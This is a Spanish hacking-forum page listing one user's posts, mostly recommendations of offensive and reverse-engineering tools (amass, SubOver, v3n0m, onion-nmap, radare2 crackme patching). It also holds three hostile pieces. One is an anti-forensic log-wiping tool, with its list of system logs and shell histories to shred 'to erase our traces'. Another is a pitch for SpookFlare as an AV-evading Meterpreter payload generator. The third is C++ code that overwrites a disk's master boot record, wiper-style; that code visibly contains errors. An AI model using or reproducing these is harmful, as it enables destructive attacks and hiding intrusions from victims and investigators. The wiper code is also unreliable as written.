Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - sadfud

#1
Buenas,

En esta entrada recomendare una herramienta que puede ser bastante útil en según qué situaciones..  8)

Lo que hace la herramienta como su propio nombre indica es eliminar logs donde pueda haber quedado algún rastro de nuestras acciones.

La herramienta se puede descargar desde el repositorio oficial de github: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

La parte windows es un .bat y la parte linux es PHP.


En el borrado de Linux lo hace de forma segura a usando el comando shred.
Los ficheros que elimina son los siguientes:
Código: php

"/var/log/yum.log",
"/var/log/wtmp",
"/var/log/utmp",
"/var/log/secure",
"/var/log/mysqld.log",
"/var/log/boot.log",
"/var/log/lighttpd",
"/var/log/httpd/",
"/var/log/qmail/",
"/var/log/maillog",
"/var/log/cron.log",
"/var/log/kern.log",
"/var/log/auth.log",
"/var/log/message",
"/var/log/lastlog‬‬",
"/var/adm/lastlog‬‬",
"/‪usr/adm/lastlog‬‬",
"/var/log/lastlog",
"/etc/utmp",
"/etc/wtmp",
"/var/adm",
"/var/log",
"/var/logs",
"/var/run/utmp",
"/var/apache/log",
"/var/apache/logs",
"/usr/local/apache/log",
"/usr/local/apache/logs",
"/root/.bash_logout",
"/root/.bash_history",
"/root/.ksh_history",
"/tmp/logs",
"/opt/lampp/logs/access_log",
"/var/log/nginx/access.log",
"/logs/agent_lo",
"/logs/referer_log",
"/logs/access_log",
"/var/log/apache2",
"/var/log/wtmp"


Saludos
#2
Pentesting / Enumerando subdominios con amass
Mayo 31, 2018, 10:49:57 PM
Buenas Underc0ders,

En esta ocasion voy a presentaros una herramienta para enumeracion de subdominios que tiene algunas caracteristicas interesantes que la diferencian del resto.

La herramienta en cuestion es Amass (No tienes permitido ver enlaces. Registrate o Entra a tu cuenta)


La herramienta puede ser instalada como se indica en el readme del proyecto, no tiene perdida.

Una vez isntalada con el comando -h nos lista todas las opciones disponibles:

Código: bash
Usage: amass [options] <-d domain> | <net>
  -active
    Turn on active information gathering methods
  -bl value
    Blacklist of subdomain names that will not be investigated
  -blf string
    Path to a file providing blacklisted subdomains
  -brute
    Execute brute forcing after searches
  -d value
    Domain names separated by commas (can be used multiple times)
  -df string
    Path to a file providing root domain names
  -freq int
    Sets the number of max DNS queries per minute
  -h Show the program usage message
  -ip
    Show the IP addresses for discovered names
  -json string
    Path to the JSON output file
  -l List all domains to be used in an enumeration
  -min-for-recursive int
    Number of subdomain discoveries before recursive brute forcing
  -noalts
    Disable generation of altered names
  -norecursive
    Turn off recursive brute forcing
  -o string
    Path to the output file
  -proxy string
    The URL used to reach the proxy
  -r value
    IP addresses of preferred DNS resolvers (can be used multiple times)
  -rf string
    Path to a file providing preferred DNS resolvers
  -v Print the data source and summary information
  -version
    Print the version number of this amass binary
  -w string
    Path to a different wordlist file
  -whois
    Include domains discoverd with reverse whois

Flags for the 'net' subcommand:
  -addr value
    IPs and ranges separated by commas (can be used multiple times)
  -asn value
    ASNs separated by commas (can be used multiple times)
  -cidr value
    CIDRs separated by commas (can be used multiple times)
  -p value
    Ports used to discover TLS certs (can be used multiple times)


Algunos usos de la herramienta:

Código: bash
 amass -d dominio.es


Si no se especifica lo contrario amass usa alteraciones sobre los subdominios y recursividad, por tanto para una enumeracion pasiva pura el comando adecuado seria:

Código: bash
amass -d dominio.es -noalts -norecursive


Amass permite encontrar nuevos subdominios a traves del whois de los subdominios que va descubriendo

Código: bash
amass -whois -d ejemplo.es


Ademas permite descubrir nuevos subdominios a traves de ASNs y CIDR

Código: bash
amass net -cidr 192.184.1.0/24
amass net -asn 14618

#3
Buenas Underc0ders,

En esta ocasión vengo a presentar una herramienta que me ha parecido bastante interesante. Se trata de Shellten (No tienes permitido ver enlaces. Registrate o Entra a tu cuenta)
Tal como indica su descripción es un entorno para facilitar el desarrollo de shellcode.

Actualmente cuenta con las siguientes caracteristicas:
Assembling
Disassembling
Syscalls lists
Database of common shellcodes

Tras instalarlo siguiendo las instrucciones del repo de github, nos encontramos con una aplicacion de consola.


El prompt que nos devuelve por defecto es L:asm:x86_32
L - Linux
asm - Modo de ensamblado
x86_32 - Arquitectura

Podemos ver que arquitecturas soporta la herramienta con el comando archs



Otra opcion interesante, es que permite usar la API de shell storm para buscar shellcodes, por ejemplo


Ahora probaremos a construir un shellcode de ejemplo (inventado) en arm_x32
Código: asm

mov r2, #75;
add r3, r2;
sub r3, r2, #1;
mov r4, r3;


Primero cambiamos el modo de shellten a linux:asm:arm32


Introducimos las instrucciones para que nos lo codifique:


Si ahora cambiamos el modo de asm a dsm con el comando dsm y la arquitectura de nuevo a arm32



e introducimos lo que nos ha devuelto antes, nos lo pasa a instrucciones correctamente


Si ahora probamos a generar shellcode con las instrucciones
Código: asm

mov r2, #75;
add r3, r2;
sub r3, r2, #0000;
mov r4, r3;


nos avisa que nuestra shellcode contiene bytes nulos y nos los remarca


Otro gran punto a favor de shellten es que nos da la informacion de uso de las llamadas al sistema con el comando sys +palabra_clave, por ejemplo


Hasta la proxima :D

#4
Hacking / Subdomain takeover tool
Marzo 31, 2018, 08:39:28 PM

Primero de todo, un ejemplo de subdomain takeover No tienes permitido ver enlaces. Registrate o Entra a tu cuenta


Subover es una herramienta escrita en python. Hasta la fecha, SubOver detecta 36 servicios, que es mucho más que cualquier otra herramienta disponible. La herramienta es multiproceso y por lo tanto ofrece buena velocidad. Puede detectar e informar fácilmente de vulnerabilidades del tipo 'Subdomain takeover' pasandole como parametro una lista de subdominios.

Ejemplo de uso:
Código: bash
python subover.py -l subdomains.txt -o output_takeovers.txt


Lista de servicios que verifica:
Código: bash
Github
Heroku
Unbounce
Tumblr
Shopify
Instapage
Desk
Tictail
Campaignmonitor
Cargocollective
Statuspage
Amazonaws
Cloudfront
Bitbucket
Squarespace
Smartling
Acquia
Fastly
Pantheon
Zendesk
Uservoice
WPEngine
Ghost
Freshdesk
Pingdom
Tilda
Wordpress
Teamwork
Helpjuice
Helpscout
Cargo
Feedpress
Freshdesk
Surge
Surveygizmo
Mashery


Saludos
#5
Ingeniería Inversa / Cutter [radare2 GUI]
Febrero 01, 2018, 08:27:33 PM
buenas underc0ders,
Hace tiempo escribi un post introductorio al framework r2 (No tienes permitido ver enlaces. Registrate o Entra a tu cuenta), era todo via consola, hoy traigo una interfaz grafica desarrollada en C++ con Qt: Cutter.

Dado que cutter se ha convertido en la interfaz grafica 'oficial' del proyecto decidi probarla y la experiencia ha sido bastante satisfactoria.
En windows su instalacion es facil, basta con descargar la release apropiada segun la arquitectura desde No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Para usuarios en linux el proceso puede 'complicarse' un poco mas
requisitos previos:

CMake >= 3.1
Radare2 installed from submodule
Qt 5.9.1

Instalacion:
Código: bash
git clone https://github.com/radareorg/cutter
cd cutter

mkdir build
cd build
qmake ../src
make


Si todo ha ido bien con ./Cutter se os abrira la interfaz.
*Si no funciona el qmake, sustituir por cmake
Toda la informacion sobre el proyecto esta en No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Saludos
#6
Hacking / SpookFlare - Meterpreter Loader Generator
Diciembre 30, 2017, 11:55:17 PM
Buenas Underc0ders, hoy os traigo una herramienta que genera payloads indetectables.


SpookFlare es un generador de payloads para Meterpreter Reverse via HTTP y HTTPS. SpookFlare tiene un cifrado personalizado con ofuscación de cadenas y funciones y compilación de código en tiempo de ejecución para que pueda evitar las contramedidas del sistema objetivo... hasta que "aprenden" la técnica y el comportamiento de los payloads de SpookFlare.

Ejemplo de uso:



Código: bash
     ___ ___  ___   ___  _  __  ___ _      _   ___ ___
    / __| _ \/ _ \ / _ \| |/ / | __| |    /_\ | _ \ __|
    \__ \  _/ (_) | (_) | ' <  | _|| |__ / _ \|   / _|
    |___/_|  \___/ \___/|_|\_\ |_| |____/_/ \_\_|_\___|

    Version    : 1.0
    Author     : Halil Dalabasmaz
    WWW        : artofpwn.com
    Twitter    : @hlldz
    Github     : @hlldz
    Licence    : Apache License 2.0
    Note       : Stay in shadows!

    -------------------------------------------------------

    [*] You can use "help" command for access help section.

    spookflare > help

    list     : List payloads
    generate : Generate payloads
    exit     : Exit from program

    [!] Important: Use x86 listener for x86 payloads and x64 listener for x64 payloads otherwise the process will crash!

    spookflare > list

    SpookFlare can generate following payloads.

    [*]  Meterpreter Loader (.EXE) with Custom Encrypter and Custom Stub:

        - Meterpreter Reverse HTTP x86/x64
        - Meterpreter Reverse HTTPS x86/x64
#7
Hacking / v3n0m Scanner para aplicaciones web
Noviembre 30, 2017, 10:59:22 PM
Buenas underc0ders

En esta ocasion me gustaria recomendar una herramienta para la automatizacion del descubrimiento de vulnerabilidades en aplicaciones web. V3n0m.


Descripcion:
V3n0m es una hgerramienta gratuita y de codigo abierto. Evolucionada desde el scanner de baltazar (baltazar's scanner), ha sido adaptado y evolucionado incluyendo que mejoran su usabilidad y optimizan su funcionamiento. Este escanner es mayormente un software experimental.
Esta herramienta es capaz de detectar varios tipos de vulnerabilidades, usando como base dorks (tiene una base de datos de 14mil).


Las funcionalidades que tiene a dia de hoy son:
Cloudflare Resolver[Cloudbuster]
Metasploit Modules Scans[To be released]
LFI->RCE and XSS Scanning[LFI->RCE & XSS]
SQL Injection Vuln Scanner[SQLi]
Extremely Large D0rk Target Lists
AdminPage Finding
Toxin Vulnerable FTPs Scanner
DNS BruteForcer
Python 3.6 Asyncio based scanning

Proceso de instalacion
git clone No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
cd V3n0M-Scanner/
python3 No tienes permitido ver enlaces. Registrate o Entra a tu cuenta install --user

Requisitos previos:
Ubuntu: sudo apt-get install python3-bs4
Kali: apt-get install python3-dev apt-get install python-dev

Mensaje de ayuda de los desarrolladores:
Código: bash
root@bt:~# python3 v3n0m.py

Now you may follow the simple prompts.

[0x100] Choose your target (domain) :
        Example : .com
        AND
        it is necessary to add you can also use a specific website (www.example.com)

[0x200] Choose the number of random dorks (0 for all.. may take awhile!) :
        Example : 0 = This will choose all of the XSS, File Inclusion, RCE and SQLi dorks

[0x300] Choose the number of threads :
        Example : 50

[0x400] Enter the number of pages to search through :
        Example : 50

    The program will print out your desired settings and start searching.
    It then creates files for the collected and valid URLs for later.
    It takes a while to scan because it utilizes either TOR, which you can specify
    if you wish to do so, or regular HTTP requests over a long period of time.

    After a while, it will feed you the percentage of the scan until completion.
    At this point, it will have saved the valid URLs in the files it created earlier.
    The program utilizes over 10k dorks now, be careful how you use them!
    Enjoy. :]
                                                            ~/ Dev Team


Saludos
#8
Hacking / Onion Service nMap Scanner
Octubre 31, 2017, 08:34:12 PM
Buenas underc0ders, en este post presentare una "herramienta" (mas bien un conjunto) para buscar servicios abiertos en los hidden services de la red tor



Resumen de Onion Map:
Onion map es una imagen de alpine, para abrir con docker, por tanto hace flata tenerlo instalado. No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Tor y dnsmasq se ejecutan como daemons a través de s6, y proxychains envuelve nmap para usar el proxy Tor SOCKS en el puerto 9050. Tor también se configura a través de DNSPort para resolver anónimamente las solicitudes DNS al puerto 9053. dnsmasq está configurado para este localhost: 9053 como servidor DNS de autoridad. Proxychains está configurado para proxy DNS a través de la resolución local, por lo que todas las solicitudes DNS pasarán por Tor y las aplicaciones pueden resolver las direcciones .onion.

Resumiendo:
Cuando el contenedor se inicia, lanza Tor y dnsmasq como daemons. El script tor_wait  espera que el proxy Tor SOCKS esté activo antes de ejecutar su comando.

El funcionamiento es muy simple, practicamente igual que pasar un nmap normal, ya que lo unico que hace es configurar las conexiones para que sean entendibles por nmap, por tanto un comando basico podria ser
Código: bash
docker run --rm -it milesrichardson/onion-nmap -p 80,443 facebookcorewwwi.onion


que produciria el siguiente output

Código: bash
[tor_wait] Wait for Tor to boot... (might take a while)
[tor_wait] Done. Tor booted.
[nmap onion] nmap -p 80,443 facebookcorewwwi.onion
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.12

Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-23 16:17 UTC
[proxychains] Dynamic chain  ...  127.0.0.1:9050  ...  facebookcorewwwi.onion:443  ...  OK
[proxychains] Dynamic chain  ...  127.0.0.1:9050  ...  facebookcorewwwi.onion:80  ...  OK
Nmap scan report for facebookcorewwwi.onion (224.0.0.1)
Host is up (2.7s latency).

PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 3.58 seconds


El proyecto lo podeis encontrar en No tienes permitido ver enlaces. Registrate o Entra a tu cuenta junto a una documentacion mas extendida

Un saludo
#9
Buenas Underc0ders, este sera el primer post de un total entre 5 y 7 que tienen como objetivo enseñar como proceder en la ingenieria inversa con el framework radare2.


Lo primero que hay que hacer es instalar radare, las instrucciones de instalacion se encuentran en su repositorio de github.
No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Para los vagos:
Código: bash
git clone https://github.com/radare/radare2
cd radare2/sys
chmod +x ./install.sh
sudo ./install.sh


Antes de nada algunos recursos utiles:
Documentacion oficial de radare: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Informacion sobre arquitecturas e ingenieria inversa: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

En esta parte vamos a trabajar sobre la arquitectura x86, con sintaxis intel, dejo una chuleta con las instrucciones



El binario sobre el que trabajaremos en esta parte es el conocido IOLI crackme 0x00 (Podeis descargar todos los niveles aqui No tienes permitido ver enlaces. Registrate o Entra a tu cuenta )

En el archivo comprimido hay un archivo README.txt que nos da pistas sobre los niveles, en este nivel por ser el primero usaremos la ayuda que nos da.

Respecto a este nivel nos dice que las "strings son nuestras amigas".

Si bien esta seria de posts trataran exlusivamente sobre ingenieria inversa con radare2, sin usar ninguna otra cosa, me gustaria en este primer nivel resolverlo de varias sencillas maneras sin r2.

El primer metodo seria usando strings como nos indica el txt con
Código: bash
strings crackme0x00
. Output:
Código: bash
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
printf
strcmp
scanf
_IO_stdin_used
__libc_start_main
GLIBC_2.0
PTRh
IOLI Crackme Level 0x00
Password:
250382 #esta es la contraseña del primer nivel
Invalid Password!
Password OK :)
GCC: (GNU) 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.10)
GCC: (GNU) 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.10)
GCC: (GNU) 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.10)
GCC: (GNU) 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.10)
GCC: (GNU) 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.10)
GCC: (GNU) 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.10)
GCC: (GNU) 3.4.6 (Gentoo 3.4.6-r2, ssp-3.4.6-1.0, pie-8.7.10)
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame
.ctors
.dtors
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__CTOR_LIST__
__DTOR_LIST__
__JCR_LIST__
completed.1
__do_global_dtors_aux
frame_dummy
__CTOR_END__
__DTOR_END__
__FRAME_END__
__JCR_END__
__do_global_ctors_aux
crackme0x00.c
_GLOBAL_OFFSET_TABLE_
__init_array_end
__init_array_start
_DYNAMIC
data_start
__libc_csu_fini
_start
__gmon_start__
_Jv_RegisterClasses
_fp_hw
_fini
__libc_start_main@@GLIBC_2.0
_IO_stdin_used
scanf@@GLIBC_2.0
__data_start
__dso_handle
__libc_csu_init
printf@@GLIBC_2.0
__bss_start
_end
_edata
strcmp@@GLIBC_2.0
__i686.get_pc_thunk.bx
main
_init


Vemos que solo con listar las strings del binario conseguimos la contraseña valida, vamos a ver ahora como hacer lo mismo desde el modulo rabin2 de radare2: rabin2 -z crackme0x00
Con el comando rabin2 llamamos al modulo, con el flag -z buscamos strings en el binario. Obtenemos el siguiente resultado:

Código: bash
└──╼ $rabin2 -z crackme0x00
vaddr=0x08048568 paddr=0x00000568 ordinal=000 sz=25 len=24 section=.rodata type=ascii string=IOLI Crackme Level 0x00\n
vaddr=0x08048581 paddr=0x00000581 ordinal=001 sz=11 len=10 section=.rodata type=ascii string=Password:
vaddr=0x0804858f paddr=0x0000058f ordinal=002 sz=7 len=6 section=.rodata type=ascii string=250382
vaddr=0x08048596 paddr=0x00000596 ordinal=003 sz=19 len=18 section=.rodata type=ascii string=Invalid Password!\n
vaddr=0x080485a9 paddr=0x000005a9 ordinal=004 sz=16 len=15 section=.rodata type=ascii string=Password OK :)\n


De nuevo obtenemos la contraseña en texto plano a traves de un analisis estatico del binario.

Vamos a ver otra forma, ahora si usando exclusivamente radare2, de obtener la contraseña en texto plano sin debuggear el software y luego veremos como modificar el flujo de ejecuccion para que acepte cualquier contraseña como valida (crackear).

Lo primero que haremos sera ejecutar radare y analizar completamente el binario:
radare2 crackme0x00 -AA

Ahora dentro de radare con el comando 'S' (sin las comillas simples) listamos las secciones del binario. Documentación del comando No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
El formato del output que nos da es:
Numero de sección
Offset de inicio
Permisos de la seccion
Virtual adress (dirección virtual)
Size (tamaño)
Virtual size (tamaño virtual)
Nombre de la seccion

Código: bash
[00] . 0x00000154 -r-- va=0x08048154 sz=0x0013 vsz=0x0013 .interp
[01] . 0x00000168 -r-- va=0x08048168 sz=0x0020 vsz=0x0020 .note.ABI_tag
[02] . 0x00000188 -r-- va=0x08048188 sz=0x0030 vsz=0x0030 .hash
[03] . 0x000001b8 -r-- va=0x080481b8 sz=0x0020 vsz=0x0020 .gnu.hash
[04] . 0x000001d8 -r-- va=0x080481d8 sz=0x0070 vsz=0x0070 .dynsym
[05] . 0x00000248 -r-- va=0x08048248 sz=0x0059 vsz=0x0059 .dynstr
[06] . 0x000002a2 -r-- va=0x080482a2 sz=0x000e vsz=0x000e .gnu.version
[07] . 0x000002b0 -r-- va=0x080482b0 sz=0x0020 vsz=0x0020 .gnu.version_r
[08] . 0x000002d0 -r-- va=0x080482d0 sz=0x0008 vsz=0x0008 .rel.dyn
[09] . 0x000002d8 -r-- va=0x080482d8 sz=0x0020 vsz=0x0020 .rel.plt
[10] . 0x000002f8 -r-x va=0x080482f8 sz=0x0017 vsz=0x0017 .init
[11] . 0x00000310 -r-x va=0x08048310 sz=0x0050 vsz=0x0050 .plt
[12] * 0x00000360 -r-x va=0x08048360 sz=0x01e4 vsz=0x01e4 .text
[13] . 0x00000544 -r-x va=0x08048544 sz=0x001a vsz=0x001a .fini
[14] . 0x00000560 -r-- va=0x08048560 sz=0x0059 vsz=0x0059 .rodata
[15] . 0x000005bc -r-- va=0x080485bc sz=0x0004 vsz=0x0004 .eh_frame
[16] . 0x00000f0c -rw- va=0x08049f0c sz=0x0008 vsz=0x0008 .ctors
[17] . 0x00000f14 -rw- va=0x08049f14 sz=0x0008 vsz=0x0008 .dtors
[18] . 0x00000f1c -rw- va=0x08049f1c sz=0x0004 vsz=0x0004 .jcr
[19] . 0x00000f20 -rw- va=0x08049f20 sz=0x00d0 vsz=0x00d0 .dynamic
[20] . 0x00000ff0 -rw- va=0x08049ff0 sz=0x0004 vsz=0x0004 .got
[21] . 0x00000ff4 -rw- va=0x08049ff4 sz=0x001c vsz=0x001c .got.plt
[22] . 0x00001010 -rw- va=0x0804a010 sz=0x000c vsz=0x000c .data
[23] . 0x0000101c -rw- va=0x0804a01c sz=0x0004 vsz=0x0004 .bss
[24] . 0x0000101c ---- va=0x00000000 sz=0x01b9 vsz=0x01b9 .comment
[25] . 0x000011d5 ---- va=0x00000000 sz=0x00db vsz=0x00db .shstrtab
[26] . 0x00001738 ---- va=0x00000000 sz=0x0420 vsz=0x0420 .symtab
[27] . 0x00001b58 ---- va=0x00000000 sz=0x0219 vsz=0x0219 .strtab
[28] * 0x00000000 mr-x va=0x08048000 sz=0x05c0 vsz=0x05c0 LOAD0
[29] . 0x00000f0c mrw- va=0x08049f0c sz=0x0110 vsz=0x0114 LOAD1
[30] . 0x00000000 mrw- va=0x08048000 sz=0x0034 vsz=0x0034 ehdr
[31] . 0x00100000 -rwx va=0x00100000 sz=0xf0000 vsz=0xf0000 esil.ram


Esta información es bastante útil aunque para esta parte del curso no la usaremos.
Lo que vamos a hacer es desensamblar la funcion main. Pero antes de eso, ¿por que desensamblamos esa funcion y no otra?

Como hemos visto en el output de rabin2, y como en todos los crackmes hay una zona de chico bueno y chico malo, nos interesa por tanto saberen que funcion esta localizada la zona que nos da el OK, para ello usaremos el comando / Password que nos devuelve
Código: bash
Searching 8 bytes from 0x08048000 to 0x0804a020: 50 61 73 73 77 6f 72 64 
Searching 8 bytes in [0x8048000-0x804a020]
hits: 3
0x08048581 hit0_0 .kme Level 0x00Password: %s250382Inv.
0x0804859e hit0_1 .250382Invalid Password!Password OK :.
0x080485a9 hit0_2 .alid Password!Password OK :). #esta es la linea que nos interesa


Una vez sabemos la dirección donde esta la zona de 'chico bueno' le pedimos a r2 mas información sobre esa dirección con el comando axt: axt 0x080485a9
Código: bash
data 0x8048480 mov dword [esp], str.Password_OK_:__n in main; const char * format


Una vez entendido el por que de desensamblar el main, usaremos el comando pdf (print disassembled function), comando completo [email protected]

Código: bash
[0x08048360]> pdf@main
            ;-- main:
/ (fcn) main 127
|   main ();
|           ; var int local_18h @ ebp-0x18
|           ; var int local_4h @ esp+0x4
|              ; DATA XREF from 0x08048377 (entry0)
|           0x08048414      55             push ebp
|           0x08048415      89e5           mov ebp, esp
|           0x08048417      83ec28         sub esp, 0x28               ; '('
|           0x0804841a      83e4f0         and esp, 0xfffffff0
|           0x0804841d      b800000000     mov eax, 0
|           0x08048422      83c00f         add eax, 0xf
|           0x08048425      83c00f         add eax, 0xf
|           0x08048428      c1e804         shr eax, 4
|           0x0804842b      c1e004         shl eax, 4
|           0x0804842e      29c4           sub esp, eax
|           0x08048430      c70424688504.  mov dword [esp], str.IOLI_Crackme_Level_0x00_n ; [0x8048568:4]=0x494c4f49 ; "IOLI Crackme Level 0x00\n" ; const char * format
|           0x08048437      e804ffffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0804843c      c70424818504.  mov dword [esp], str.Password: ; hit0_0 ; [0x8048581:4]=0x73736150 ; "Password: " ; const char * format
|           0x08048443      e8f8feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x08048448      8d45e8         lea eax, dword [local_18h]
|           0x0804844b      89442404       mov dword [local_4h], eax
|           0x0804844f      c704248c8504.  mov dword [esp], 0x804858c  ; [0x804858c:4]=0x32007325 ; "%s" ; const char * format
|           0x08048456      e8d5feffff     call sym.imp.scanf          ; int scanf(const char *format)
|           0x0804845b      8d45e8         lea eax, dword [local_18h]
|           0x0804845e      c74424048f85.  mov dword [local_4h], str.250382 ; [0x804858f:4]=0x33303532 ; "250382"
|           0x08048466      890424         mov dword [esp], eax        ; const char * s2
|           0x08048469      e8e2feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
|           0x0804846e      85c0           test eax, eax
|       ,=< 0x08048470      740e           je 0x8048480
|       |   0x08048472      c70424968504.  mov dword [esp], str.Invalid_Password__n ; [0x8048596:4]=0x61766e49 ; "Invalid Password!\n" ; const char * format
|       |   0x08048479      e8c2feffff     call sym.imp.printf         ; int printf(const char *format)
|      ,==< 0x0804847e      eb0c           jmp 0x804848c
|      |`-> 0x08048480      c70424a98504.  mov dword [esp], str.Password_OK_:__n ; hit0_2 ; [0x80485a9:4]=0x73736150 ; "Password OK :)\n" ; const char * format
|      |    0x08048487      e8b4feffff     call sym.imp.printf         ; int printf(const char *format)
|      |       ; JMP XREF from 0x0804847e (main)
|      `--> 0x0804848c      b800000000     mov eax, 0
|           0x08048491      c9             leave
\           0x08048492      c3             ret


De nuevo nos volvemos a encontrar con la contraseña en texto plano.

Llegados a este punto ahora es cuando viene lo divertido, modificar el flujo de ejecuccion, osea, crackear el software. Al lio.

Salta a la vista que el programa compara dos registros (0x08048469, 0x0804846e) en uno esta la contraseña que valida el ejercicio y en el otro lo que nosotros hayamos introducido.
Por tanto la parte que nos interesa esta entre la direccion 0x0804846e y 0x08048480 donde se encuentra la string "Password OK :)".

A grandes rasgos lo que el software hace a partir de la direccion  0x0804846e es lo siguiente:
Compara la pwd introducida con la valida
Si son iguales salta a la direccion 0x08048480
En caso contrario llega hasta la direccion 0x0804847e que ejecuta un salto incondicional a  0x0804848c  y termina con la ejecuccion.

Lo que vamos a hacer es modificar ese "si es equivalente..." por un salto incondicional
Antes de nada, tenemos que entender el significado de la linea, mas concretamente de la segunda columna
0x08048470      740e           je 0x8048480

74 = je (jump if equal)
0e = bytes to jump (1 instruccion == 1 byte)

Por tanto el objetivo es que la linea anterior se convierta en
0x08048470      eb0e           jmp 0x8048480

Vamos a hacerlo pues.

Para ello reabrimos el archivo en modo escritura con el comando oo+

Código: bash
[0x08048360]> oo+
File crackme0x00 reopened in read-write mode


A continuacion nos movemos a la direccion donde se encuentra el salto con s 0x08048470 y imprimimos las siguientes 8 instrucciones con el comando pd 8

Si todo ha salido bien deberia aparecer lo siguiente
Código: bash

[0x08048470]> pd 8
|       ,=< 0x08048470      740e           je 0x8048480
|       |   0x08048472      c70424968504.  mov dword [esp], str.Invalid_Password__n ; [0x8048596:4]=0x61766e49 ; "Invalid Password!\n" ; const char * format
|       |   0x08048479      e8c2feffff     call sym.imp.printf         ; int printf(const char *format)
|      ,==< 0x0804847e      eb0c           jmp 0x804848c
|      |`-> 0x08048480      c70424a98504.  mov dword [esp], str.Password_OK_:__n ; hit0_2 ; [0x80485a9:4]=0x73736150 ; "Password OK :)\n" ; const char * format
|      |    0x08048487      e8b4feffff     call sym.imp.printf         ; int printf(const char *format)
|      |       ; JMP XREF from 0x0804847e (main)
|      `--> 0x0804848c      b800000000     mov eax, 0
|           0x08048491      c9             leave


Para modificar la condicion usaremos el comando wx seguido de la nueva instruccion wx 0xeb

Listamos de nuevo 8 instrucciones y observamos como el flujo de ejecuccion se ha modificado

Código: bash

[0x08048470]> pd 8
|       ,=< 0x08048470      eb0e           jmp 0x8048480
|       |   0x08048472      c70424968504.  mov dword [esp], str.Invalid_Password__n ; [0x8048596:4]=0x61766e49 ; "Invalid Password!\n" ; const char * format
|       |   0x08048479      e8c2feffff     call sym.imp.printf         ; int printf(const char *format)
|      ,==< 0x0804847e      eb0c           jmp 0x804848c
|      |`-> 0x08048480      c70424a98504.  mov dword [esp], str.Password_OK_:__n ; hit0_2 ; [0x80485a9:4]=0x73736150 ; "Password OK :)\n" ; const char * format
|      |    0x08048487      e8b4feffff     call sym.imp.printf         ; int printf(const char *format)
|      |       ; JMP XREF from 0x0804847e (main)
|      `--> 0x0804848c      b800000000     mov eax, 0
|           0x08048491      c9             leave


#10
Hacking ShowOff / [Open Redirect]Google
Julio 19, 2017, 06:39:25 PM


Vector: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Reportado: Si
Respuesta: Won't fix

#11

Buenas underc0deanos,

Supongo que todo el mundo ha visto las noticias de NotPetya, y si alguno ha leído los análisis técnicos sabrá que era un wiper y no un ransomware, debido a que reescribe el sector de arranque del disco duro dejando el pc inservible una vez se haya reiniciado/apagado.

A continuación dejo un código que tenia guardado sobre como hacer esto.

Espero que sea útil para poder estudiarlo.

Código: cpp
/*
  Rewrite boot master record code sample
  Credits to 0memory
*/
#include <windows.h>
#include <iostream>

using namespace std;

#define MBR_SIZE 512
int main(int argc, char const *argv[]) {
  DWORD write;
  char mbrdata[MBR_SIZE];
  Underc0de(&mbrData, (sizeof mbrdata));

  HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL)
  if (WriteFile(MasterBootRecord, mbrData, MBR_SIZE, &write, NULL) == TRUE){
    cout << "MBR overwritten" << endl;
    Sleep(5000);
    Exitprocess(0);
  } else {
    cout << "MBR not overwritten" << endl;
    Sleep(5000);
    Exitprocess(0);
  }
  CloseHandle(MasterBootRecord);
  return 0;
}


Un saludo
#12

Que es la ingeniería inversa?
Según Wikipedia: La ingeniería inversa es el proceso llevado a cabo con el objetivo de obtener información o un diseño a partir de un producto, con el fin de determinar cuáles son sus componentes y de qué manera interactúan entre sí y cuál fue el proceso de fabricación.
Para qué sirve la ingeniería inversa?
Según Wikipedia:
• Generar diferentes alternativas: del punto de partida del proceso, principalmente código fuente, se generan representaciones gráficas lo que facilita su comprensión.
• Recuperar y/o actualizar la información perdida (cambios que no se documentaron en su momento): en la evolución del sistema se realizan cambios que no se suele actualizar en las representaciones de nivel de abstracción más alto, para lo cual se utiliza la recuperación de diseño.
• Detectar efectos laterales: los cambios que se puedan realizar en un sistema puede conducirnos a que surjan efectos no deseados, esta serie de anomalías puede ser detectados por la ingeniería inversa.
• Facilitar la reutilización: por medio de la ingeniería inversa se pueden detectar componentes de posible reutilización de sistemas existentes, pudiendo aumentar la productividad, reducir los costes y los riesgos de mantenimiento.
En resumen: la ingeniería inversa nos permite entender como se comunica un binario con el PC, una vez entendemos que hace el programa y como lo hace, las posibilidades son infinitas.

Una vez entendido que es la ingeniería inversa... ¿Qué se necesita para realizar ingeniería inversa a un binario?
